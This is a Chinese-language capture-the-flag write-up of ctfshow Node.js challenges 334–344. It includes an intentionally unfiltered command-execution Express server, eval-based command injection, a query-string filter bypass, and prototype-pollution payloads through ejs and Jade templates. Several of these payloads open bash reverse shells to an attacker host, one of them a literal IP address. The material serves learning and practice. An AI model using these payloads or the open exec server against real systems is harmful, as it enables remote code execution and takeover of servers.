Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库
Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。
exec()函数执行任意命令
在服务器上传main.js
const express = require("express");
const { exec } = require("child_process");
const app = express();
// 完全开放的命令执行接口(仅限本地测试!)
app.get("/eval", (req, res) => {
const userCommand = req.query.q;
console.log(`[EXEC] ${new Date().toISOString()} 执行命令: ${userCommand}`); // 记录日志
// 执行任意命令(无过滤)
exec(userCommand, { shell: true }, (error, stdout, stderr) => {
if (error) {
console.error(`[ERROR] ${error.message}`);
return res.send(`ERROR: ${error.message}\n${stderr}`);
}
res.send(stdout || "Command executed (no output)");
});
});
// 监听所有网络接口(0.0.0.0),允许外部访问
app.listen(7777, "0.0.0.0", () => {
console.log(`
访问地址: http://vps:7777/eval?q=命令
`);
});
python3 -m http.server 7777
node main.js

可以看到执行任意命令
334
在user.js发现username: 'CTFSHOW', password: '123456'
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
toUpperCase()函数可以将字母转为大写,这里name不能直接等于CTFSHOW,但是经过 item.username === name.toUpperCase()后ctfshow就会转为大写,从而和CTFSHOW匹配
username=ctfshow
password=123456
335-336
在源代码提示用eval传参,这里尝试了一下,传整型回显数字,传字符串回显404 找不到文件,
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
相当于ls,必须有['.'],可以改成['/'],相当于ls /
require('child_process') - 引入 Node.js 的子进程模块
.spawnSync('ls', ['.']) - 同步执行 ls 命令(列出目录内容),参数 ['.'] 表示列出当前目录
.stdout - 获取命令执行的标准输出流(Buffer 对象)
.toString() - 将 Buffer 转换为字符串
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
md5强比较
?a[]=1&b[]=1
338(普通污染,属性继承)
给了个源码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
var secert =和 let user =都是普通对象,默认继承自 Object.prototype
通过 utils.copy(user, req.body)
,攻击者可以控制 user
的原型链
{
"__proto__": {
"ctfshow": "36dboy"
}
}
utils.copy()
会将 proto
属性复制到 user
对象
由于 proto
是特殊属性,实际修改的是 Object.prototype
(所有对象的基类)
类似于:
secert 和 user 是兄弟,他们的父亲是 Object.prototype
通过 user 给父亲(Object.prototype)植入一个特征(ctfshow)
secert 自己没有这个特征,但会从父亲那里继承
相当于secert.ctfshow=36dboy,一定要带上用户名的密码
{
"username":"aaa",
"password":"aaa",
"__proto__": {
"ctfshow": "36dboy"
}
}
339
可以看这个师傅的文章
https://xz.aliyun.com/news/6780
在/routes/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
utils.copy(user, req.body)
直接将用户提交的数据复制到user对象
/routes/app.js中
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
这是Express路由处理程序,当发POST包的时候,就会自动执行
{ query: Function(query)(query) }
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数,并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。
res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。
所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。
第一个 query:你告诉机器人"用这段话作为程序代码"(函数体)。
第二个 query:你告诉机器人"运行程序时把这段话作为输入"(参数)。
第三个 query:这段话完全来自用户输入(用户让你做什么就做什么)。
原型污染
{
"username": "aaaa",
"password": "aaaa",
"__proto__": {
"query": "恶意代码"
}
}
通过 proto
属性污染 Object.prototype
,使得所有JavaScript对象都会继承 query
属性。
utils.copy(user, req.body); 就会导致所有对象的 query
属性被篡改。
rce,这里必须要反弹shell到自己的服务器执行,如果用ls这种普通命令,结果将会丢失,原Payload中的 exec
没有处理回调
"query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/vps/2333 0>&1\"')"
先通过login.js中的utils.copy(user, req.body)来污染query,在/login下用POST传
{
"username":"aaaa",
"password":"aaaa",
"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/vps/2333 0>&1\"')"}
}
再通过POST访问api自动执行

成功连上,找到/routes/login.js
340
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
对比上一题
utils.copy(user,req.body);
utils.copy(user.userinfo,req.body);
这里要污染两级,先污染 user
对象的 userinfo
属性,使其变成一个可控对象。
再污染 userinfo
对象的内部属性(如 query
)。
{
"username":"aaa",
"password":"aaa",
"__proto__":{
"__proto__":{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/2333 0>&1\"')"}
}
}
341(原型链污染)
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
在api.js中发现没有{ query: Function(query)(query) },那就不能污染query,但是开启了ejs
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
https://xz.aliyun.com/news/5725
考虑原型链污染
在 JavaScript 中,每个对象都有一个隐藏的 proto
属性,指向它的原型对象(prototype)。当访问一个对象的属性时,如果对象本身没有这个属性,JavaScript 会沿着 proto
向上查找,直到找到该属性或到达顶层(Object.prototype
)。这种查找机制就是原型链。
攻击者通过篡改 Object.prototype
(或其他对象的原型),使得所有对象都继承被污染的属性,从而影响程序行为。
我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null
为止。所以修改对象的某个父类的prototype
的原型就可以通过原型链影响到跟此类有关的所有对象。
{"__proto__":{
"__proto__{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/2333 0>&1\"');var __tmp2"}}}
在环境变量里面,感觉环境有点问题吧,这题就连上了一次
342-343(Jade模版的原型链污染)
这里是Jade模版的原型链污染,访问的时候将"Content-Type"改为"application/json"
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/1.95.38.189/2333 0>&1\"');//"}}}
344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
正常传
?query={"name":"admin","password":"ctfshow","isVIP":true}
但是过滤,用"query="拼接,c要编码为%63,因为"编码为%22,之后%22c会和2c进行匹配
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
Comments NOTHING